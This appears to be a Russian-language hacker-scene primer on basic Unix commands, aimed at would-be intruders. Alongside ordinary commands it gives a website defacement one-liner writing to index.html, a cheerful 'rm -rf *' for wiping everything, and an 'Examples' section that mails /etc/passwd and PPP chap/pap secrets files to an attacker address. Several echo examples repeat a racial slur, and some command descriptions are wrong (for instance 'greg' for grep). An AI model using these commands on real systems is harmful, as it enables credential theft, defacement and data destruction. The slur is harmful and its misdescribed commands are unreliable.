Введение в Unix: основные команды

 

В этой статье я постараюсь изложить тебе основные команды системы Unix, которые
необходимо знать и которыми ты будешь пользоваться постоянно, если уже не пользуешься 🙂

Прежде всего дам тебе один совет на тот случай, если ты только начинаешь
пользоваться этой системой:
— учи команды Unix
— учи структуру каталогов системы (что облегчит тебе в дальнейшем понимание взлома и
обеспечения безопасности системы) — другими словами учи систему изнутри

======================================================================
Ниже перечислены далеко не все, но наиболее юзабельные команды:
======================================================================

*************************************
* Введение *
*************************************

Общий синтаксис введения команд выглядит следующим образом:
Команда — ключи — параметры
Набираете после приглашения команды описанного выше синтаксиса и дальше по списку 🙂

Внимание: Знак $ вводить не надо, пиши то, что идет после него. Это называется
приглашением, которое можно изменить.

*************************************
* Знаки ввода-вывода *
*************************************

> — Засунуть информации выхода в файл, без вывода на экран.
>> — -//- с добавлением
< - Возьмет инфу из файла. | - Использовать стандартный вывод как ввод Напимер: $ ls -al > filename.txt — Залить выходную информацию в файл

*************************************
* Базовые команды системы Unix: *
*************************************

ps aux — Покажет статус всех процессов (можно посмотреть PID)
kill pid — Убить процесс
killall /programm — Убить процесс по имени

id — Покажет твои текущие права (т.е. uid и gid)

chmod — Изменить права доступа к файлу
Пример:
chmod 755 filename.txt (установка для .cgi файлов)

chown — Изменить владельца файла
Синтаксис:
user:user filename.txt

at — Покажет время, когда выполняется команда

batch — Выполнение команды во время загрузки

finger/who/users — Выведет список работающих в системе.

ftpwho — Finger для FTP

mail — Работа с почтой

crontab — Установка времени между запусками программ

pwcheck — Просмотреть дефолтовый файл паролей

umask — Использовать маску для определенного файла

su — Запуск программы su

sleep — Преостановить процесс

passwd — Работа с паролем

uux — Выполнить комманды на remote компьютере

uucp — Копировать файл (на|с) remote компьютер

uuname — Выдать список хостов UUCP

ls — Покажет листинг каталога
ls -al — Покажет листинг каталога + права и аттрибуты файлов

cd — Сменить директорию
Пример:
cd .. (подняться вверх)

rm filename.txt — Удалит файл
rmdir dirname — Удалит директорию
rm -rf DIR/ — Удалит всё включая каталоги и подкаталоги без запроса подтверждения
Что? Глаза уже горят?
rm -rf * — Стереть все

cp filename1.txt filename2.txt — Копирование файлов
mv filename1.txt filename2.txt — Перемещение файлов

cat filename.txt — Выведет содержимое файла на экран
cat > filename.txt — Записать в файл

more — Вывести текстовой файл в постраничном режиме

greg — Поиск строки в файле по заданному ключу
greg -i — -//- без учета регистра

uuencode — Создать текстовую версию двоичного файла
uudecode — Создать двоичную версию текстового файла

tar — Создать архивный файл

uncompress — Получить исходный файл из сжатого файла

echo «nigga» — Выведет на экран nigga
echo «hacked by k0dsweb» > index.html — А вот вам и пример дефейса на shell’e.
Запишет hacked by k0dsweb в index.html

pico filename.txt — Откроет файл в текстовом редакторе pico
joe filename.txt — Откроет файл в текстовом редакторе joe

play filename.wav — Проиграет звуковой файл filename.wav
prog sound.mp3 — Проиграет mp3 файл sound.mp3

df — Выдаст отчёт об использованнии дискового пространства
du — Оценка пространнства занимаемого файлом

gcc filename.c -o file — скомпилировать C код, и получить при выходе бинарник filename
gcc -S filename.c -o file — скомпилировать C код, и получить при выходе ассемблерный код в filename

uname -a — Выдаст сведения о системе
hostname — Покажет имя твоего хоста
hostname localhost — Изменить имя хоста на localhost

netstat — Выдаст статистику сетевых подключений на машине
nslookup www.victim.com — Опросить имя сервера
ping www.victim.com — Пингануть хост
traceroute www.victim.com — Исследовать путь до хоста

telnet www.victim.com 25 — Подрубиться к www.victim.com к 25-му порту
ftp ftp.victim.com — Подрубиться к ftp.victim.com по протоколу ftp
ssh victim.com — Подрубиться к victim.com по SSH (Secure Shell — Шифрованный Протокол)

lynx -source http://www.victim.com/archive.tar.gz > archive.tar.gz — Cкачать с www.victim.com
файл archive.tar.gz

*************************************
* Примеры *
*************************************

cat /etc/passwd | mail haxor@tut.uze — Отправит на haxor@tut.uze файл паролей
cat /etc/ppp/(pap|chap)-secrets | mail haxor@tut.uze — Отправит файл с аккаунтами Dial-Up соединения

*************************************
* Примочки: *
*************************************

; — Последовательное выполнение команд
Пример:
$ id;echo «nigga»

| (конвейер) — Передача результата одной команды другой
Пример:
$ echo «nigga» | cat > info.txt —
В данном случае слово «nigga» будет записано в файл info.txt

& (аперсанд) — Запуск программы в фоновом режиме
Пример:
$ prog sound.mp3&
В данном случае — запуск музыкального файла. По завершении проигрывания
файла выкинет сообщение об этом в консоль.

Теперь ты знаешь основные команды системы Unix и будешь чувствовать себя сухо и комфортно 🙂

Оставьте комментарий